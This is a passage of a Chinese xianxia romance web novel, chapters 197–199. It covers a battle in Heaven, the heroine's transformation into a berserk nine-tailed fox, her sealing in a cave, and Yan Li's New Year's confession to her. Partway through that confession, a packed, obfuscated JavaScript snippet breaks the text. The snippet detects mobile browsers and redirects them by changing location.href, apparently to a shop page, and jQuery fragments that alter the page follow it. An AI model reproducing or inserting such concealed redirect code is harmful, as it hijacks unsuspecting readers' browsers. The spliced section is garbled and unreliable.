魔兽长啸一声,声波如巨浪,让人站不稳脚跟。 “华尧上神!我们来了!” 华尧身边纷纷落下数名神官一字排开,使出浑身解数,释放出仙力牵制住魔兽。 然,虽然魔兽在众人的围攻下,停下了脚步,却没有丝毫退意。 “你们打不过他!”兰渊悬在魔兽身后,高高在上地望着他们。 “他说的有道理,当年若不是有锁魂铃,颛靡也不可能会死......”一名神官嘀咕道,话音未落,他被一道黑色的利刃刺穿了胸膛。 兰渊阴冷地看着他的尸体:“是啊,你们为了锁魂铃,什么都做的出来。” “兰渊!住手!”慕小闲吼道:“你的目的已经达到了。” “还不够!”兰渊忽然袭向天帝,天帝周围几名神官手忙脚乱地挡在他身前:“魔主三思啊,天庭不能无主啊!天庭若是无主,到时候不仅是天界,三界都将不得安生!” 天帝心惊之余,悄悄从袖口掏出一只神器。 橘色身影悄声无息地落在他身后,一双手自肩后伸过来,从天帝眼前将他的神器取走,又拎起天帝的袖子抖了抖,七零八落的物件地掉了一地。 凤钰捡起几只神器在手上掂量了一下,像在集市挑瓜果一般,咧开嘴冲天帝一笑:“你看看你,多少年了,还喜欢收集这些无用之物。” “凤钰,你......”天帝恼羞成怒,一掌劈下,强大的火力轰地一声涌上来。凤钰被轰开数十米,胸前的衣襟一松,一颗金铃掉了出来。 金色的铃铛发出万丈光芒,仿佛于昏暗中撕开了一线生机。 天帝顿时露出贪婪的眼神:“锁魂铃在你身上! “快!让我看看它的力量!” “你做梦!”凤钰吼道。 锁魂铃的光芒渐渐黯了下去,又回到了凤钰的手中。 兰渊袭向天帝,紫色的魔气与金色的仙力在天空对峙,犹如昼夜交替。 两道强劲的力量猛烈撞击,如同海浪崩塌向外溢出。 天界巨震,云海翻滚。 天兵与神官站稳脚跟,驻足凝视,皆被这两股强大的力量震撼。 青丘群山之巅,动物奔走,纷纷逃回洞穴内。 小十一正在林中喂小黄瓜吃草,小黄瓜吧唧吧唧嘴,将细长的叶子衔入口中,忽然长长的耳朵一抖,抬起头来望向天空。小十一随即也抬起头,看向天空两道奇异的色彩。 狒狒丢下劈柴的斧头,惊讶地对红脸怪人叫道:“师父,你看呐!会不会是小闲?”红脸怪人望着天空,虽然带着面具,却能感受到浑身的肃然。 越仙谷吵闹非常,云魁、云姬从楼中走出,凝重地看着天边。 “发生什么了?”越棠棠急忙赶来。 云魁蹙眉道:“天界要有变数了。” 魔域街上的人群望着天空满脸惊叹,柳夫人在鸾喜阁二楼凭栏眺望,心中忐忑,敛眉对楼下忙活的侍从说:“把门关上,就说今日店里不营业。” 还有游走在天界各处某某......某某某......都抬起头紧张地凝望着、等待着...... 随着时间推移,紫色渐渐落入下风,金光逼近一步。 兰渊眉宇紧锁,脸色愈加苍白。 还是不行吗? 忽然,一道橘色划过天空,飞蛾扑火般的姿态袭向天帝。 “别碍事!”天帝化开一掌,迅猛的仙力像夜空划过的流星一般击中了凤钰。鲜血染红了凤钰的衣襟,耀眼的橘色变得更加鲜艳刺眼,恍若一朵被摧残的花,从天空坠落。 “凤叔!”兰渊焦急道。 凤钰艰难地撑起身体,摸了摸胸前的铃铛,松了口气,虚声道:“别管我......咳咳......死不了......咳咳......” “你们赢不了我!”天帝怒吼道,金色的力量越发璀璨耀眼。 慕小闲全神贯注地盯着局势变化,她不希望天庭与魔域任何一方独大,若他们不能相互制衡,对她恢复身份太不利了。 就在她盘算着该如何应对时,殷乐不知何时绕到她的身后。 慕小闲只觉得喉头一温,体内的五脏六腑突然一震,眼前出现了重影。眼前的魔兽变换色彩,越来越暗淡,四周仿佛瞬间退化成了一片荒芜。 隐隐约约看到晏离长鞭一挥,将殷乐甩开数米。她用力眨了眨眼睛,只觉得天旋地转、头晕眼花。 发生什么了? 殷乐刚才对她做了什么? “闲儿!” 是晏离的声音。 为什么这么遥远? 慕小闲脚下的影子忽然一点一点扩大。 她的眼睛变得猩红又混沌,两颊浮现三道红痕,呲着利齿,指尖变得锋利无比。 厚重的毛发从身上蓬发,遮盖了原本的皮肤,身后不知不觉冒出了若干条蓬松的尾巴,犹如一团盛开的业火,在昏暗中灵活地涌动。 她的躯体越来越大,不得不匍匐在地上,喘着粗重的气息。 正在与魔兽抗争的天兵,忽然感到头顶拢下一团巨大的阴影,抬头一看,顿时大惊失色。 身后,巨大的九尾狐正虎视眈眈地盯着他们,庞大的身躯丝毫不逊于魔兽,身上还有一股与生俱来的尊贵与压迫感。 “是九尾红狐!我听闻白家只有青丘之主的血脉是红狐!她真的是青丘之主!” 这下哪里还有疑问,他们面前巨大的九尾狐就是最好的证明。 “你做了什么?”晏离的声音让殷乐如临冰窖。 殷乐目光冷如寒冰,唇边微微勾起:“我既将白瑶留下的血脉给你,断不会没有后手。她不是想做回青丘之主吗?我就让她恢复原本的模样,以她现在的身体承受不了九尾狐的血脉,她很快就会迷失本性成为一只彻头彻尾的野兽,再也无法清醒过来。” “闲儿。”晏离拧眉道。 九尾狐的眼中倒映出他的身影,却没有一丝波澜。 “小闲!”武凌一边应付苏怜漪一边叫道。苏怜漪虽然不是武将,但他的攻击借助乐器与音律,委实难以应付,武凌一时无法脱身。 华尧还在抵抗魔兽的进犯,余光看了一眼九尾狐,眼中略带思索。 魔兽显然也看见了突然出现的庞然大物,但它不知道那究竟是什么,还略带挑衅地呲了呲染着鲜血的牙,发出低沉的吼声。 “嘁——” 区区魔兽—— 九尾狐虽然神情没有变化,但大家好似在她脸上看出了几分不屑。没有人敢拦着九尾狐,任由她突然朝魔兽迈去。 就在众人皆被这一变故打乱阵脚时,天空那一道紫气突然士气大振,一口一口吞噬了金光。 天帝咬牙切齿奋力抵抗,却手中的仙力却好似后继无力一般,光芒越来越弱。 “啊——”天帝嘶吼一声,目眦欲裂道:“不可能!这不可能!” 兰渊眯了眯眼:“没有什么不可能,我为了这一天已经等了一万年。” 紫气轰然爆发,冲撞上天帝的身躯,天空再次被黑暗吞噬。 天帝滚落在九尾狐的脚边。九尾狐没有停下,看也不看就碾了上去。 “噗——”天帝瞪大了眼睛,身体凹陷下去,就像一只被压瘪的皮球。 “天帝!” “哎呀,这可怎么好?” 几名神官落在天帝身旁,叽叽喳喳一番,急得焦头烂额。 “白瑶!你竟敢杀害天帝!”一名神官拦在九尾狐身前指责道。 九尾狐垂眸看了他一眼,猩红的眼中神色未变。神官不知为何心中陡然一凉,下一秒身体就被扇飞。 太白金星和太上老君两位老年人匆匆赶来,站在惨不忍睹的天帝身边嘀嘀咕咕。 “还有救吗?” “有......没有......有......没有......” “哎呀都什么时候了,到底有没有救?” “身体是废了,或许还能再塑一个,死马当活马医了。” “走!” 两个老年人吭哧吭哧地抬起瘪下去的天帝,架着祥云飞离战场。 魔兽见九尾狐靠近,弓起身体、竖起毛发,对她呵气。 华尧见状,收手退到一边静观其变。 九尾狐就算 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九尾狐依靠灵活的尾巴在枪林弹雨中躲闪,一边抵挡魔兽的攻击,一边伺机而动。 终于轰地一声,火焰击中了魔兽的眼睛。 魔兽应声倒地,在地上翻滚。 九尾狐小心翼翼地靠近,魔兽根本无暇理会她,就在她伸出爪子要拍上魔兽的一瞬间,忽然听见有人喊道:“小心——” 魔兽翻身而起,对着近在咫尺的九尾狐张开大口,口中酝酿的魔气铺天盖地地涌而来,紫色火焰瞬间吞噬了九尾狐的身体。 “还是不行吗?”有神官问道。 “殿下!”施未羽喊道,就要拔刀冲上前。 卿书拧眉拦下她:“等等......” 迷雾散去,九尾狐眯了眯眼,瞬间睁大,捂着鼻子干呕了一声。 魔兽:??? 魔兽不信邪,又对着九尾狐发起攻击。不料魔气尚未近身,便不知被什么东西挡了回去。 “她做了什么?为何没事?”众仙疑惑。 是镯子......兰渊的眸色沉了沉,如果锁魂铃在凤钰的手中,那么梵间现在应当又回到了慕小闲身上。没想到自己当年的有心之举,竟然又帮了慕小闲一把,真是因果循环、报应不爽。 九尾狐口中凝聚起火红的光球,一甩头,光球脱口而出击向魔兽。光球在魔兽的瞳孔中越来越大、越来越亮,它扭头飞快逃遁,但避之不及一头栽入云端。 一击之下,魔兽倒地不起,丝毫没有还手的余地。 “铛铛铛......”九尾狐一脚踏上魔兽的脊背,一脚一脚踏在它的脑袋上。 众人看得龇牙咧嘴,莫名跟着头疼。 武凌扯了扯嘴角,莫名觉得这一幕很眼熟。 兰渊领着几名残余的魔兵准备继续进入天庭,九尾狐却突然丢下奄奄一息的魔兽,拦在他们面前。 兰渊勾起唇角道:“慕小闲,你赢了,到此为止吧。” 九尾狐连晏离都认不得,怎么可能听兰渊的话。她不屑地轻哼了一声,尾巴一甩,想将这个碍眼的家伙打出她的视线。 兰渊轻巧地跃过九尾狐扫来的尾巴:“你连我也要打?” 饶是慕小闲还有意识,也会说打的就是你。更不用说她此时目中无人,就纯纯的一只野生狐狸。 兰渊的余光遥遥瞥了殷乐一眼,脸上有几分不好看。 此时他们一举攻入天庭,魔域便是大获全胜,天庭再也泛不起波澜。这些年天庭让魔域尝过的耻辱,他们会一点一点还回去。 但慕小闲却突然发疯挡在他们前面碍事。 此时若是他对付慕小闲,华尧、晏离、施未羽、卿书......一定会出手阻拦,时间拖得太久怕是会夜长梦多。 “快!将她引开!”兰渊冲殷乐和苏怜漪喊道。 殷乐和苏怜漪还未赶到,九尾狐就将几名魔兵从云端打落,又对兰渊拍下一爪,碎了他半边肩膀。 不远处围观的众人又觉得肩头一凉:“这......青丘之主发起疯还真是六亲不认呐.....” “魔主!”殷乐焦急道。她的声音吸引了九尾狐的注意,九尾狐探究的目光落在她身上,好似在思忖什么。 殷乐一顿,身上渗出了一层冷汗。 九尾狐紧紧盯着她,迈着闲庭信步,看似无意地走到殷乐身边,但那双猩红的媚眼中却冒出丝丝火光。 殷乐咬紧牙齿按捺住身体的战栗,当九尾狐的视线锁定在殷乐身上时,她的心仿佛突然被抽离了身体。 原来青丘之主的真身竟然是这样的,原来慕小闲原本的样子如此骇人,原来她做了上万年的青丘之主也抵不过她半分。 为什么慕小闲生来高贵?为什么她生来就是卑贱?为什么她做了这么多努力还是比不上她? 殷乐鼻头一酸,几只箭矢破空而出,砸在九尾狐的身上。九尾狐落了几根毛发,甩了甩头,呲牙发出低沉的吼叫。 云层随之震动。 “殷乐!别激怒她!”兰渊吼道。谁都能看出来,在场无人能抵御九尾狐的威力。更何况,那可是青丘之主,他们不可能像对待魔兽一般围剿她。 殷乐眼中含泪,凄凉地一笑,继而眼中多了几分狠厉:“不可能!我不输于任何人!” 晏离突然神情冷漠地拦住殷乐,殷乐轻笑一声:“晏离,这是我们之间的恩怨,你阻拦不了我。” 晏离漠然道:“你打不过她。”那眼神仿佛在看将死之人。殷乐突然意识到,晏离并不是在保护慕小闲,而是在警告自己。 殷乐疯狂大笑起来,脑海中如同走马灯一般转过这些年在青丘的画面,虽然每日胆战心惊,但却是她有生以来最安稳、平和的日子。如今,这一切即将结束,就算她侥幸活了下来,青丘也不会放过她。 “殷乐!” 殷乐不顾兰渊的命令,愤然对九尾狐出手,几声爆裂在九尾狐的身上炸开。 九尾狐被彻底激怒,身体弓起,毛发根根竖立。随着尾巴抖动,几道烈焰如漫天星雨砸向殷乐。火光映衬着殷乐苍白的面颊,她脸上浮现惨淡的笑容,眼中的疯狂逐渐褪去。 198. 第 198 章 “噗——”一道人影从殷乐身前坠落,她瞳孔一缩,仿佛听到从胸腔传来撕心裂肺的吼叫:“怜漪!”而后喉头传来的疼痛和艰涩才她发觉,那一声嘶吼竟然源于她自己。 她抱着苏怜漪如落叶一般脆弱的躯体,身上止不住发抖,话到唇边竟然一个字也说不出口。 “快......走!”苏怜漪一张口血从唇角漫了出来,那么多那么鲜艳,染得她满手通红、眼中浸上了一层血雾。 “为什么......”殷乐双眼赤红,蹙着眉间,声音不觉涌上一丝哽咽。她不是不知,苏怜漪当初捡回她不过是为了利用她,跟着她来青丘,是因为不甘心罢了。他不允许她身边有任何亲近之人,有苏哥哥对她露出善意,苏怜漪也要将其摧毁,让她永远无法离开他的掌控,可是如今又为什么? 苏怜漪那张清秀的脸庞因为痛苦而扭曲,张了张嘴,口齿不清地说:“你做的很好......不愧是我选中的人......”鲜血又漫了出来,殷乐看一眼自己颤抖的手,心中一刺,眼中多了几分茫然。 她颤抖着抹去苏怜漪唇边的血迹,带着沙哑的哭腔,也不知道自己是怎么了,突然被一种陌生的情绪淹没:“坚持住,坚持住好不好......我们回魔域,我带你回去......” 苏怜漪知道自己不行了,微微合上眼睛,用轻得不能再轻的声音说:“殷乐,我后悔了......我早就后悔了,若是没有将你送来青丘......若是没有有苏,你会不会......” “什么?”殷乐垂下头,将耳朵贴在他的唇边。 苏怜漪猛然睁开眼睛,用尽最后一丝力气一掌将殷乐推开:“走!”殷乐猝不及防被推出去数百里,身影渺小如尘埃,坠入天际熹微的金色云边。 九尾狐彻底狂躁起来,狐尾一扫,战场上仅剩的几名将士、神官也纷纷遭殃。她怒目圆瞪,咬紧獠牙弓起身体蓄势待发,就像一只凶恶的野兽。 “闲儿!”晏离拦在九尾狐身前,她眼中看他却异常陌生,没有丝毫的清明和波澜。 “看来她连你也不认得了。”华尧上前说道,听上去有些幸灾乐祸。 晏离冷冷地看了他一眼,眉宇间并不轻松。 华尧正色道:“接下来该怎么办?” 现在慕小闲恢复了真身,不仅战斗力增强,还得了那只魔域法宝的助力,简直是刀枪不入。 华尧瞥一眼重伤的兰渊:“魔主可有办法?” 兰渊目光阴沉地看着他,就算他知道他为何告诉华尧?倒是凤钰在调息一番后,脸色恢复了不少:“看你们的样子,是舍不得伤了小闲闲,不过如果放任她这样下去,恐怕整个天界都会遭殃。我没办法让她立马恢复清醒,但却有办法让她暂时消停消停。” 华尧凝眉:“什么办法?” 凤钰眼睛一亮,折扇一拍,说道:“封印。” 华尧睨了一眼四处冲撞的九尾狐,不赞同道:“凤钰,你被封印了上万年,应该知道封印的滋味不好受。” 凤钰打开扇子在衣襟前扇了扇:“此一时彼一时,她现在失去意识,是因为身体承受不了九尾狐的血脉。将她封印起来,再加以仙力、灵气调养,去了她的燥意,让她脱离凡胎肉身,成为真正的九尾狐,就能渐渐恢复神智了。” 凤钰说的轻巧,但如何封印一只狂躁的九尾狐呢? 众人若有所思的目光落在凤钰的前襟上,凤钰脸上一红,抓紧了领口恼怒道:“你们在看哪里?” 华尧意味深长道:“我记得锁魂铃似乎可以封印。” 凤钰眼睛一瞪,瞬间溜出去数十米远,摆摆手:“不行,锁魂铃不行。锁魂铃只能保存魂魄,何况阙阙现在还在铃铛里面呢。” 四周纷纷扰扰,众神围在一起焦头烂额地商讨对策。唯有晏离独立于喧嚣之外,仿佛周遭的混乱与他全无干系。他孑然站在九尾狐面前,透过那双弥漫着朦胧烟雨的眼眸,沉静地望着她。 仿佛又回到了当年在凡间再次相见时。 晏离眸中浮现一丝淡淡的温柔,不论倒映在他眸中的身影如何凶残暴躁,他都始终如一地望着她。 九尾狐在一通发泄之后,似乎感应到了什么,突然安静下来,眨了眨眼睛,十分认真地看向那一袭清冷的身影。 “这是什么?难道这就是爱情的力量?”众仙脸上浮现感动的色彩,不远处华尧不悦地瞥了他们一眼。 只见晏离手上拎着......一只鸡...... 这里怎么会有鸡??? 不对,不是鸡! 是凤凰......是凤钰!!! 凤钰,不知何时化作真身,也不知因何落入魔掌,被人钳住了两只翅膀,正在奋力扑腾。 “啊啊啊啊啊啊啊啊晏离——你和小闲闲都是一丘之貉!!!小爷我怎么能当鸡用?我可是上古神兽金凤凰!放开我放开我放开我!!!我恨你们!!!!!” 晏离嫌他吵,伸手拔了两根凤羽。 “你......你做什么?”凤钰紧张道。 “再吵就扒光你的羽毛。”晏离垂眸扫了他一眼,冷声道。 凤钰的眼睛涌上泪来,抱住自己的凤尾:“太狠了!太狠了!我怎么会上了你们的贼船!真是毁了我一世......诶!别碰我!啊!不要!” “将她引去青丘。”晏离道。 “可恶!竟然拿我做饵,等小闲闲清醒过来,我一定要找她讨账!” 晏离松开手,凤凰突然腾空数百米,低头看了一眼两眼放光的九尾狐,暗道一声倒了大霉。原本如鸡一般大小的身体陡然撑开,根根凤羽洗尽铅华,金耀撕开了天空的阴暗,光芒照耀云海,如初升的太阳。 凤凰展翅高飞,冲入九霄云外,金边没入云端,不一会儿就远去数里。 九尾狐一跃而起,驾起五彩流云,追随凤凰而去。 晏离未作停留便与她同去,华尧脚步一动,余光落在了一身落魄的武凌和几名伤重的神官、天兵身上,攥了攥拳,留下来收拾残局。 身后的气息一变,他转身接住对方的攻击,神色凌然:“魔主,你大仇得报,还要赶尽杀绝?” 兰渊被九尾狐打碎了半边肩膀,出手已是力不从心,想要战胜华尧更是难上加难。兰渊勾起红唇,眼中倒没有为难他的意思:“不愧是天界第一武神,受教了。天帝大势已去,天界的格局怕是要变了。” 华尧眉间充斥着肃然正气,坦然道:“不必魔主关心,这一仗魔域筹划已久,却赢得并不轻松,且等千万年后再看。” 这一仗确实赢得不轻松,慕小闲临阵变卦,毁了他的精心布置。殷乐不听话让慕小闲恢复真身,险些酿成大错。不过天帝被九尾狐重伤,又折损了一名上神和数百名神官、天兵,就算天庭那帮酒囊饭袋有办法让天帝起死回生,他也元气大伤不足为惧。 更何况,过往上万年的真相公诸于世,天庭再也无法堵住悠悠众口,又落了下乘。 兰渊眼中浮现阴冷的笑意:“且等过些时日我再登门拜访。” 喧嚣散尽,在一片狼藉中,一身戎装的武凌再也支撑不住,重重跪倒在地。他一直视符鸣上神为榜样,追随他的脚步,想要成为像他一样的人。没想到符鸣上神在光鲜的面具下,也会为了一己私欲枉顾他人。他感到困惑又迷茫,身上的铠甲好像一座大山压得他透不过气。 “还愣着做什么?”华尧冲武凌喝道。 武凌一阵恍然,望着云海间仍在收拾残局的同僚,心中不免泛起酸涩。而后再次强撑起身体,手忙脚乱地扶受伤的神官回到天庭。这一仗天庭损失惨重,或许,他还有很多可以做的事情。 九尾狐随着凤钰腾云驾雾一路回到青丘,落入群山之中。仿佛感受到了熟悉的气息,她抬起头四处张望,身上的毛发愈加光泽鲜艳,眼中的燥意消退,竟然低头嗅了嗅草地中一朵孤零零的野花。 凤钰累得瘫倒在地上,四脚朝天,嘟囔道:“诶,累死我了,小闲闲你可得记着点我的好啊。想我当年也是英姿潇洒的翩翩公子,为了你我连人都不做了,以后还怎么在天界混呐......”凤钰话音一顿,眼角突然狂跳起来。 眼前落下三人,女子一身白衣风华绝代,虽然经年未见,但却与记忆中的样子一般无二,好似消失的这些年并未在她身上留下任何痕迹。她身边一人穿着靛蓝色的长袍,一身肃然正气,不苟言笑,眼中比记忆中多了几分深沉与沧桑。 另一人身着鲜艳的锦缎华服,轻柔的鹅绒披在肩上,眉宇间英气逼人,又添了几分贵人的慵懒,让人......怎 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还是永昭殿下打了圆场:“凤钰公子对瑶儿的鼎力相助,白家感激不尽。” 凤钰闻言冷哼了一声,这才住手......住嘴,然后冲公子鸢挑了下眉,那副得意的神情仿佛在说:看,你夫人都这么说了,你怎么没点表示? 公子鸢心中七窍玲珑,知道这件事上凤钰对他们家无可挑剔,才给他好脸色道:“多谢凤钰公子。” 凤钰又得意洋洋地看向凝寒。凝寒在戎族修养多年,重病初愈,脸上还略显病态,又不是个爱热闹的主儿,只是微微向凤钰颔首。凤钰心领神会,也没有为难他。 凤钰“怦”地一声化作人形,凤眼依旧带着几分不着调的肆意,橘红的袍子松松垮垮地披着,露出胸前半抹春光。 公子鸳看了他一眼,眼中闪过一丝不悦,道:“你要找的人先前在青丘与天庭交接向东两千里处出现过,若是去的晚了,恐怕又不知何年何月才能有他的消息。” 凤钰眼神一变,仔仔细细地审视公子鸳的神情不似作假,神色突然有些紧张起来。 “既然你们来了,这里也就不需要我了。有缘再会。”凤钰立即起身,再次去寻找他心心念念的人,仿佛这些天发生的一切都只是他寻觅道路上一段微不足道的插曲。 晏离现身,见到永昭殿下微微一怔,然后恭恭敬敬地作了个揖。 他素来与世隔绝,虽在青丘却与宫中人接触不多,更不要说他与白瑶做了几百年的师徒,也未曾以师父的身份进宫拜见过永昭殿下。 永昭宽慰地看着晏离:“我听施未羽、卿书说了,你为瑶儿做了许多,辛苦你了。” 公子鸢蹙着眉头,目光暗暗打量着晏离。虽然晏离一身素净,清新冷淡如白莲般的气质世间少有,但他却觉得过于清瘦寡淡了。也不知道瑶儿喜欢他什么?这身板不知道经不经得起折腾? “她吃的苦不比我少,为了她,我心甘情愿。”晏离用最淡漠的神情说着最动听的情话,让公子鸢的眉间舒展,心中的纠结竟然消散了。罢了,儿女的事儿他还是少管。 九尾狐突然低吼一声,对永昭殿下露出獠牙,似乎是感受到了她身上同样的气息,想与她分出个高下。永昭殿下冷哼一声:“把自己搞成了这副样子还敢吓唬人?” 九尾狐听不懂她的意思,爪子如一座小山向他们扑来。几道身影瞬间消失在原地,烟尘散去,只留下一个深深的坑。 趁九尾狐尚未反应过来,永昭殿下突然凌空一击:“白瑶你连老娘都认不得了?”她下了狠手,一脚踢在九尾狐的侧脸上,踢得九尾狐轰然倒地压断了一片树林。 丛林中,鸟雀惊飞。 晏离手指一动,就听到公子鸢语气甚是轻松地说道:“九尾狐皮实得紧,这孩子就是小时候打少了,总给我们闯祸。她小时候要出宫拜你为师,什么法子都用尽了,我们也没当回事。要是当时能将她教训一顿,说不定......不过也没这因缘了你说是吗?” 晏离未接他的话茬,眸子牢牢锁在九尾狐的身上,虽然明知她不会受到伤害,眼里仍旧隐隐夹着一抹担忧。 公子鸢看了看冷淡的晏离,又看了看缄默的凝寒,顿时觉得很没意思。 199. 第 199 章 永昭殿下是慕小闲的亲娘,真身亦是九尾红狐,对付起她可谓是得心应手,也没有半点心慈手软。不消一时三刻,就将九尾狐打得目光躲闪,温顺乖巧地坐正了身体,摇着尾巴,宛若一只可怜又可爱的小狗。 永昭殿下落在他们身侧,对晏离道:“她刚恢复真身神志不清,加上先前天火造成的伤害即使在千年轮回间修复,难免会留下遗症,不如将她送入万灵洞休养一段时日。” 晏离听到“万灵洞”三字时,眼中浮现一丝凝滞,恍惚又忆起他在万灵洞外等待的三百年。 永昭殿下了然:“这一次我会亲自送她进去,并且派信得过的人看守,不会再出问题。” 九尾狐被送入万灵洞,晏离的目光追随她一点一点消失在洞口,直到彻底沉寂下来。他没有回到竹隐山,而是在万灵洞附近修筑了一间简单的木屋,洞前若有风吹草动,都逃不过他的感知。 小十一闻讯来探望过他,见叔父形单影只,委实有些可怜,于是将小黄瓜留给了他。小黄瓜不明白漂亮姐姐去哪儿了,亦不明白为何漂亮哥哥好像越发将自己包裹起来,只有望向某个方向时眼中会流露出一丝期许。 晏离每日都要去万灵洞,清影如一棵枯松,静默在洞前,与空寂、翠绿的山林几乎融为一体。他一待就是几个时辰,等到太阳落山,天色渐暗才恍然回神。好像过去了很长时间,掐指一算也不过寥寥几月,对于神仙来说短暂得不值一提,却叫他觉得比之前任何一次等待都要难捱。 他偶尔会带来一只烤鸡,放在洞口处。清风将烤鸡的香气送入洞内,幽深的洞内没有任何动静。隔天清晨,洞口却散落了一地七零八碎的骨头。 晏离望着一地狼藉,眼中多了一抹柔和的笑意。 时间淅淅沥沥地淌过,鸟雀忽而一声啼鸣,落叶随风而逝,又是一年新春佳节。 长乐宫渐渐热闹起来,这一次永昭殿下与公子鸢回到宫中,春节自然办的更加热闹、隆重。 永昭殿下邀请晏离来宫中吃年夜饭,晏离进宫拜会她和公子鸢,却没有久留。 永昭殿下看着晏离清冷的背影消失在张灯结彩的宫中,多了几分惆怅:“瑶儿不在,宫里再热闹也觉得少了点什么。琅儿虽然开智,但分开了这么多年又和我们不亲,想来我这个做母亲的真是失败。” 公子鸢宽慰道:“你身居高位,身上肩负着整个青丘的未来,哪里能随心所欲过寻常人家的日子。瑶儿有她自己的造化,她以后的路还长呢。至于琅儿......” 他若有所思道:“琅儿那边,我会多上心的。” 永昭殿下瞥了他一眼,略带埋怨道:“你这做父亲的也没好到哪儿去。真不知道我们一把年纪,怎么会把事情搞成这副样子。” “师父!” 大地震了震,一庞然大物从瓦檐探出,宫中侍从纷纷躲在角落偷看。 狒狒在修炼后身体略有缩小,但比之原本小猴子时的体型还要大不少,猛一出现连月色都要避让三分。 “你看着点,别踩坏了我后园里的花花草草。”永昭殿下嚷嚷道。 狒狒刚要落下一脚,这时却不知道该落在哪里,提着一只脚左顾右盼。 公子鸢噗嗤一声笑出声:“你从哪里捡来这么一只猴子,怪傻的。” 狒狒是永昭殿下在外头收的徒弟,说狒狒傻不就是打永昭的脸么?永昭殿下哼哼几声,睥了公子鸢一眼:“这可是你闺女的朋友,我的徒弟。” 公子鸢的笑容僵在嘴边,回过味来:“你们......你们口味也太重了......” “若不是他这些年来一直在我身边替我砍柴烧火,替凝寒煮药,我的手都要长出又厚又硬的茧子了。” 凝寒眼色一动,诚恳地对狒狒道:“多谢小兄弟。” “师叔不用谢!”狒狒有礼貌地冲凝寒抱拳。 公子鸢挑了下眉,咳咳两声:“我呢?” “师公也不谢!”狒狒低头说。 公子鸢敲了一下狒狒的脑袋:“我说谢你了吗?” 狒狒捂着脑袋摇了摇:“不客气。” 永昭殿下笑得灿烂,公子鸢心情甚好,不与狒狒计较。 夜风袭袭,远离了长乐宫的世外群山透着丝丝凉意。 白衣随风轻舞,他将食盒轻轻搁置在地上,盘腿倚靠洞口处,啪的一声打开酒壶。夜风裹挟着清冽的酒气,萦绕鼻尖,让人变得恍然轻盈。 酒落愁肠,舌尖的辣褪去后心中的苦又漫了上来,一波接着一波,仿佛没有尽头。 晏离提起酒壶倒了倒,酒壶一轻,眨眼间,一壶“不可说”就被他囫囵饮尽。 他又取出第二壶酒,放在食盒边上。 静默许久,突然开口道:“闲儿,你睡了吗?今晚的月色很美,你若是看到一定会喜欢。” 洞内安静极了,残风从他脚边略过,显得有几分落魄和凄清。 他垂下眼睫,扫了一眼倾倒在地上的酒壶:“‘不可说’已不适合我。我有很多很多话想告诉你,那时在万丰镇就想对你说的。” 记忆悄然流转,仿佛回到了很多年前,那些他以为自己并不在意,回首时才发现异常清晰的时刻。 “我同你初次相遇是在你的千岁宴上,那时你年纪虽小,心思却不单纯,灼热的目光让我避之不及。我不喜喧闹,本想悄悄离开,但在园中却被你拦下。当时只觉得你娇蛮又霸道,吵闹得令人生厌。千岁宴一别几百年,我避世而居,藏于山水之间,不知今世何世,早将当年发生的事情抛诸脑后。你却突然找到我,说要拜我为师。 “我素来平淡如水,你的出现将我原本的生活尽数打乱,再也没有一日安宁。你做了不少出格的事情,像是故意引起我的注意,我都看在眼里,却不知该作何反应。如果我作出了反应,你恐怕会更加得意。我以为我会很怀念从前宁静的日子,直到你回宫后,我一个人守在山外云境,才发觉冷冷清清的滋味好像太过寡淡。或许我也一样寡淡,所以才一直没有发觉。可是如此寡淡的我,如何能获得你的青睐? “我不敢看你的眼睛,怕在你的眼中看到仓皇失措的我。可是每当你的视线停留在我身上,我都能感受到,那一丝乱我心神的温度。我只想快点从你身边逃走,这样我才能冷静下来。我拒绝的从来都不是你,而是快要失控的自己。 “我听闻华尧与你订婚,心中不知是何滋味,只觉得如淋冷雨、酸涩难耐。你走后,我以为我会回到原来的样子,之前发生的一切就当是黄粱一梦。你是青丘之主,我只是个远在世外的人。我们之间的交集到此为止,以后再也不会有瓜葛。但是从你走后,山里的夜冷清可怖,一切索然无味。我心中居然产生了一丝希冀,希望你能回来。 “可我没有等到你,等来的却是殷乐。当我知道你魂飞魄散,有可能再也回不来时,我仿佛被剜去了心,我体会到了恨,也体会到了......爱。我后悔万分,恨我对你如此冷淡绝情,如果不是我将你赶回宫中,你是不是就不会遭此不测?我不信你会消失,所以一遍又一遍找,找遍了世间每一个角落,可是却没有找到你留下的任何痕迹。我不敢停下,我怕停下就再也找不到你。 “好在我找到了你,可是你却不记得我了。受囚仙印所累,我只能用分身将你带回来,还因为太过虚弱,让你落在了天庭。你就在天界,却不在我身边,我日日魂不守舍,于是用分身暗中守着你。几经周转,终于将你引回我身边。 “我希望你能多在我身上停留,又害怕被你发现。那些年对你太过冷酷,如今我只想把所有都给你。我知道你回来之后,殷乐不会善罢甘休,所以只能逼着你学习仙术。那段时间大概是我这一千年来最平静的时候,仿佛时光流转,又回到了你我初识。但是你从阿筝那里知道了一切,看我的目光变了,你开始避着我,我快疯了。 “我不知道该如何靠近你,不知道你在想什么,只能笨拙地讨好你。万丰镇你被魔族带走,我几乎失了半条命,我害怕他们伤害你,怕我听不到你的求救,怕我再也见不到你。我拼命地找,拼命地闯进长乐宫,还好你找到了逃走的暗道。可是你逃出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009503|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来后,竟然不是来找我…… “神魔大战是一步险棋,我知道你想借此机会证实自己的身份,但是天庭和魔域之间的恩怨太深,我担心会对你不利。不过你想做,我便陪你,不论发生什么,我都会保护你。 “闲儿,我已习惯了等待,不论还要等多久……” 晏离好似从来没有说过这么多话,可惜夜色森冷,他说的再多也无人回应。 晏离喉头一滚,声音艰涩道:“新年快乐,闲儿。”轻柔的声音很快融化在风中。 清风送来一声若有似无的轻笑,如同风中轻铃,清脆悦耳。竟让他身体忽然绷紧,眼睛一酸,翻涌的情绪像高涨的海浪,一波一波拍打在他的心上。 少女自暗处一步一步走来,洞外的莹莹月色悄悄从衣角爬上了她的衣襟,最后照亮了她清丽的脸庞。 